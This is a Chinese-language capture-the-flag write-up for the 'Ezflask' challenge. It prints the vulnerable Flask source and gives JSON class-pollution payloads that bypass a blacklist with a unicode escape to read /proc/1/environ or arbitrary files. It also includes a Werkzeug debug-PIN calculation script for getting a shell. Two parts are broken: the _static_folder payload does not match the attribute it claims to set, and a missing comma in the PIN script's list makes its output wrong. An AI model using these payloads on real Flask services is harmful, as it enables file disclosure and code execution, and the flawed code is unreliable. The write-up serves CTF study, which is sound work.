参考链接

Ezflask

题目信息

打开就是源码：

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

利用思路

看到merge函数，知道是python的原型链污染，在index()里可以读文件
后面分两种做法，读系统变量或者算PIN码

非预期

访问/register路由注册功能，发payload污染原型属性
访问首页，读取环境变量文件，获取flag

预期解

flask开了debug模式，可以进控制台、算PIN码

访问/register路由注册功能，发payload污染原型属性
访问首页，读取一系列文件，为算PIN码做准备
用脚本算出PIN码
访问/console获取权限

Payload

非预期

file

__init__被过滤了，但是json.loads()可以识别unicode，可以绕过
然后污染__file__属性，因为index()里可以用它读文件

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "__file__":"../../../proc/1/environ"
        }
    }
}

1.访问注册功能，发payload污染路由

2.访问网页根目录读文件

_static_folder

还有另外一种方法，污染flask里的原型属性app._static_folder。
这个属性默认值是服务器上的"./static"，假设访问http://localhost/static/xxx，等于访问服务器上./static/xxx文件，如果污染_static_folder="/"，再访问http://localhost/static/xxx，就是访问服务器上/xxx了。

{
    "username":"fuck",
    "password":"you",
    "__init_\u005f":{
        "__globals__":{
            "app":"../../../aaaaaa"
        }
    }
}

1.访问注册功能，发payload污染路由

2.访问/static/xxxx，读取文件

预期解

读/etc/passwd得到用户名

读文件报错得到app.py的路径

读网卡地址

读machine-id

读container-id

算PIN码

import hashlib
from itertools import chain

# werkzeug2.0.x 高版本
probably_public_bits = [
    'root'  # /etc/passwd里找用户
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # moddir，读文件时，报错得到
]
"""
参数一：/sys/class/net/eth0/address 网卡地址转10进制
参数二：(/etc/machine-id || /proc/sys/kernel/random/boot_id) + (/proc/self/cgroup) 
       其中machine-id优先级大于boot_id，二者取其一
"""
private_bits = [
    str(int("3e:27:a9:b6:a7:61".replace(":", ""), 16)),
    '96cec10d3d9307792745ec3b85c89620' + "docker-0a9c35845909725f1ccc0a7d6f49b2875bce0e5398a2b006886823193b78d3c0.scope"

]

# 下面为源码里面抄的，不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

getshell，获取flag